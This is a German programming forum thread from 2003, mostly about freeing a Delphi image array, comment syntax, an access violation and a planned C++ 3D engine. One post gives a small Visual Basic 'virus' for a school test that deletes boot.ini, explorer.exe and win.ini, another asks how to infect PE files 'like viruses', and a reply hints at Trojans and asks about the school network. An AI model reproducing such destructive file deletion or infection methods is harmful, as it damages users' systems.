Seite 2 von 8 ErsteErste 123456 ... LetzteLetzte
Ergebnis 21 bis 40 von 141

Thema: Der "Grosse" Programmierthread

Hybrid-Darstellung

Vorheriger Beitrag Vorheriger Beitrag   Nächster Beitrag Nächster Beitrag
  1. #1
    Dann regel das ganze doch mit Ungleichheit :

    for i:=1 to felder do
    begin
    for j := 1 to felder do
    begin
    if (i <> ((felder div 2) + 1)) and (j <> ((felder div 2) + 1)) then
    begin
    try
    bilder[i,j].destroy;
    except
    end;
    if bilder[i,j] <> nil then
    bilder[i,j]:= nil;
    end;
    end;

    ich bin zwar schon etwas unter Alkoholeinfluss aber ich hoffe es macht alles etwas Sinn

  2. #2
    Ich wuerde es mal so versuchen:

    type
    TMyImageArray = Array of Array of TImage;

    procedure ClearArray(const bilder: TMyImageArray);
    var
    ..felder: Integer;
    begin
    ..felder:= Length(bilder);
    ..for i:= 1 to felder do begin
    ....for j:= 1 to felder do begin
    ......try
    ........if Assigned(bilder[i,j]) then begin
    ..........bilder[i,j].destroy;
    ..........bilder[i,j]:= nil;
    ........end;
    ......except
    ........on e: Exception do begin
    ..........// Write a log or show a message about the fuckup on i,j
    ........end;
    ......end;
    ....end;
    ..end;
    end;


    die zeile:
    if (i <> ((felder div 2) + 1)) and (j <> ((felder div 2) + 1)) then
    oder
    if (i = ((felder div 2) + 1)) and (j = ((felder div 2) + 1)) then

    ist mir ein raetsel, was bezweckst du damit?

    Ich gehe mal davon aus das bilder ein 2-dimensionales array gleicher breite und hoehe ist, andernfalls knallts in der funktion sowieso. Warum also wird bei einem 10x10 array das element 6x6 ausgelassen, zumal du alle danach auf nil setzt. Das heist das du das element nicht freigibst aber es danach wegwirfst = Speicherschmutz, Macht keinen sinn fuer mich. Erklaer mal bitte was das ganze soll.

    Wie auch immer die zeile sollte dann so heissen:
    if ((i=j)and(j=((felder div 2)+1))) then continue;

  3. #3
    ehrlich gesagt hab ich net so genau drüber nachgedacht, wie du raiel, und hab halt nur dir groben Fehler korrigiert, weil ich in letzter Zeit einfach wenig Zeit hab (cooler Satz ). allerdings muss ich sagen da ich deinen code auch n biddel komisch finde, aber wahrscheinlich sollte ich ihn mir einfach mal nüchtern anschauen .

    verdammt ich hasse solche miniunteralkoholeinflusshalbwegssinnlos posts, aber ich musst es mal sagen (vielleicht kommt noch ein sinnvoller edit dazu)

    -edit-
    mkay, mit halbeingeschalteter Großhirnrinde (ich bin grad erst aufgestanden) sieht das ganze doch ganz anders aus und siehe da man versteht auch raiels code .
    Davon abgesehen das man Kommentare in Delphie mit {} schreibt hab ich eigentlich auch nichts zu meckern und da dies ein post ist und keine unit ist das ja auch egal. Also hab ich im Endeffekt nichts zu meckern und kann nur noch sagen
    bdw. du rückst irgendwie komisch ein (war wahrscheinlich mein Prob gestern oder vielleicht doch was anderes )

    -edit2-
    da wir mit raiel anscheinend jemand mit programmiererwissen hinzubekommen haben stell ich doch direkt mal wieder meine Frage, also was bedeutet diese Meldung ? :

    Zugriffsverletzung bei Adresse 0040380D in Modul ‚Gebrem.exe’. Lesen von Adresse FFFFFFF7.

    bdw. ma ein dickes an dich

    Geändert von Ahasver (20.07.2003 um 14:13 Uhr)

  4. #4
    > Davon abgesehen das man Kommentare in Delphie mit {} schreibt

    na na na, da hat aber einer nicht aufgepasst.
    Kommentare in Delphi kann man so schreiben:

    { text }
    kommentar ueber mehrere Zeilen

    // text
    kommentar ueber eine zeile

    /* text */
    kommentar ueber mehrere Zeilen ( um Conditional Defines mit auszukommentieren )

    > du rückst irgendwie komisch ein

    prinzipiell jeder begin block geht 2 spaces nach rechts, die punkte sind hier nur weil das forum keine einrueckungen erlaubt

    > Zugriffsverletzung bei Adresse 0040380D in Modul ‚Gebrem.exe’. Lesen von Adresse FFFFFFF7

    Da ist irgendwo ein Speicherproblem, das kann unter anderem passieren wenn du ein Object benutzt ohne vorher Create zu machen. Oder wenn du auf einen Array Platz zugreifst den es nicht gibt. Am besten in der Delphi-IDE debuggen und nachsehen bei welcher zeile es knallt, dann siehst du schon welches Object probleme macht.

  5. #5
    hmm,

    nunja wenn du es schon ohne den befehl [ code ]...[ /code ] machst hätte ich es so gemacht:

    procedure ClearArray(const bilder: TMyImageArray);
    var
    ..felder: Integer;
    begin
    ..felder:= Length(bilder);
    ..for i:= 1 to felder do
    ..begin
    ....for j:= 1 to felder do
    ......begin
    ......try
    ........if Assigned(bilder[i,j]) then
    ........begin
    ..........bilder[i,j].destroy;
    ..........bilder[i,j]:= nil;
    ........end;
    ......except
    ........on e: Exception do
    ........begin
    ..........// Write a log or show a message about the fuckup on i,j
    ........end;
    ......end;
    ..end;
    end;
    end;

    Zitat Zitat
    na na na, da hat aber einer nicht aufgepasst.
    nuja ich hab nur n anfängerkurs vor was weis ich wie lang gemacht und dann erstmal nicht programmiert. In letzter Zeit hab ich dann nur mal wieder n rappel bekommen (-> ich bin blutiger anfänger). Ich bilde mich hauptsächlich durch bücher, denn der schulinfokurs ... nun ja

    leider bin ich grad net @home, insofern kann ich nichts testen

    btw. jippi noch n trigun fan

  6. #6
    > ..for i:= 1 to felder do
    > ..begin

    das verschwendet zuviel platz, das begin verbraucht unnoetig eine zeile und traegt nicht zur uebersichtlichkeit bei. Funktionen sollten immer so kurz sein das sie auf einen Bildschirm passen und man auf einen blick erkennt was Sie machen.
    Das mag zwar prinzipiell jedem selber ueberlassen sein da ja beides geht. Aber wenn du groessere Programme schreibst dann hilft das beim fehlersuchen enorm.


    > ich bin blutiger anfänger

    is jeder mal



    Wer sonst noch fragen zu Delphi/Kylix,C,C++,Java,Perl,Shell,Php,VB oder sowas hat immer her damit.

  7. #7

    WinAPI Adressierung bei "PE-Infektion"

    Well,

    ich habe gerade beim Herumwühlen auf meinem Webserver ein kleines ASM-Projekt von mir gefunden, dass ich endlich mal beenden will. Also folgendes:

    Ich versuche gerade ein Programm zu schreiben, mit dem man beliebige PE-Dateien mit einem Passwort schützen kann. Die Datei soll verschlüsselt werden und beim Programmstart soll das Passwort abgefragt werden.

    Ich wollte das so Lösen, daß ich wie bei Viren das Programm "infiziere" indem ich einfach eine weitere Code-Section an das Programmende dranhänge und den Entry-Point entsprechend anpasse. Da aber die Passworteingabe schön grafisch vor sich gehen soll, brauche ich irgendwie Zugang zur WinAPI. Ich kann ja nicht einfach direkt Funktionsaufrufe machen, weil die Funktionen, die ich benötige evtl. nicht in der Import-Tabelle stehen (ist zwar unwahrscheinlich, aber immerhin möglich).

    Deshalb suche ich nach eine saubere Lösung, wie ich die Adressen der WinAPI-Funktionen zur Laufzeit eines Programmes herausfinden kann (wenn möglich auch für möglichst alle Windows-Versionen)

    Hat jemand eine Idee?

  8. #8
    Sind die Funktionen denn so selten?
    Die meisten Funktionen müssten doch in jeder .exe drin sein, oder?

    BTW: Ich bin gerade dabei mal wieder ein Konzept für eine neue Engine zu machen. Gibt es hier jem. der evtl. bereit wäre mitzumachen?

  9. #9
    @Malakai: Assembler bin ich ueberfragt, sorry

    @Hippokrates: was fuer ne engine, wofuer, welche sprache

  10. #10
    Im Prinzip eine API-unabhängige 3D Engine mit C++.
    Das ganze soll möglichst flexibel und erweiterbar werden.
    Wobei 3D nicht heißt, dass es hier um eine hochkomplexe Quake 7 Engine geht, sondern dass 3D APIs verwendet werden.
    Direct3D und OpenGL lassen sich ja z.B. auch ganz toll für 2D Spiele einsetzen.

  11. #11
    > sondern dass 3D APIs verwendet werden

    was fuer API's verwendest du denn

    basiert das ganze dann auf DirectX oder auf SDL oder schreibst du komplett neu?
    Schreibst du mit gcc, VisualC++,BorlandC++,BlodShed DevCPP?
    M$-Windblows only oder platform unabhaengig?

  12. #12
    Ich hatte vor es insofern API unabhängig zu gestalten, dass die Engine eine Top-Layer auf der API ist und der Programmierer garnicht merkt, welche benutzt wird.
    Unter Windows kann man dann z.B. über eine abstrakte Factory Klasse einen Direct3D Renderer einbauen und unter Linux einen OpenGL Renderer.
    Ebenso verhält es sich mit allem systemspezifischen Kram. Es muss so abstrakt gehalten werden, dass der Programmierer nicht merkt, für welches System er programmiert *g*

  13. #13
    well,

    hört sich lustig an. Ich wäre prinzipiell interessiert. (Da könnt ich mein Wissen in 3D-Programmierung aufbessern.

    @Hippokrates
    Das hatten wir ja schonmal im Nachtschwärmer. Ich sag nur: Sinnlose Shader

    so far...

  14. #14
    [VisualBasic]
    Hallo,

    ich muss für meine Schule einen 'Virus' schreiben. Da die Schule ein Sicherheitssystem testen möchte.
    Dieser löscht einige wichtige Dateien.
    Hier der Code:
    Code:
    Private Sub Form_Load()
    Kill ("C:\boot.ini")
    End Sub
    Private Sub Form_Load() 
    Kill("C:\windows\explorer.exe")
    End Sub 
    Private Sub Form_Load() 
    Kill("C:\WINDOWS\win.ini")
    End Sub
    So. Nur wie kompiliere ich dass jetzt so damit ich mir nicht den eigenen PC schrottig mache?
    ICh hab das mit dem Visual Basic Editor von Frontpage gemacht.

  15. #15
    Kann man 3 Subs mit demselben Namen erstellen, ohne dass es Probleme gibt?
    Generiert der Editor von Frontpage nicht auch eigentlich VB-Script, also Dateien die vom Browser ausgeführt werden, die man also garnicht kompilieren muss?

    @Malakai:
    Cool, dann habe ich ja schon einen potenziellen Mitstreiter *gg*
    Man müsste jetzt nur noch ein Board haben, wo man das ganze Konzept ausklamüsern kann

  16. #16
    hmm,

    also mit Frontpage wird das eigendlich, wie gesagt, nur VB-Script. Um Binary's zu erstellen brauchst du schon das richtige VB. Well, aber ich kann da auch falsch liegen, da ich nicht so oft damit arbeite. (Eigendlich nie )
    Was ihr so in der Schule macht...

    @Hippokrates
    Unwahrscheinlich, dass wir hier sowas aufziehen können.
    Ich könnte auf meinem Server noch ein Forum einfügen(Nur so ne Idee), oder wir nutzen nur einen Thread hier.

    so far...

  17. #17
    Ja, hier werden wir wohl keinen Platz bekommen, aber wenn du welchen hast...

  18. #18
    Hmm,

    nochmal @Xander

    Was hast du denn direkt vor? Vielleicht wüsste ich da ein paar elegantere Lösungen...so in die Richtung antiker Pferdchen Sowas lässt sich mit VB ganz gut bewerkstelligen.

    btw.
    Was für ein Sicherheitssystem/Serverlösung habt ihr denn an eurer Schule. (OS, LAN-Aufbau etc)

    so far...

  19. #19
    Naja, mit VB-Script kann man so ziemlich alles machen.
    Ist AFAIK die unsicherste Skriptsprache, da der PC im Gegensatz zu Javascript nicht wirklich vor Zugriffen durch das Skript geschützt ist.

    @Malakai:
    Vielleicht sollten wir uns irgendwo ein bissl Webspace mit PHP-Unterstützung besorgen und fix ein Board installieren

  20. #20
    Well,

    also wer noch bei dem Projekt von Hippokrates & mir mitmachen will,
    soll sich einfach per PN melden oder gleich hier im fix eingerichteten Forum. (unter Coding-Projekt)

    so far...

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •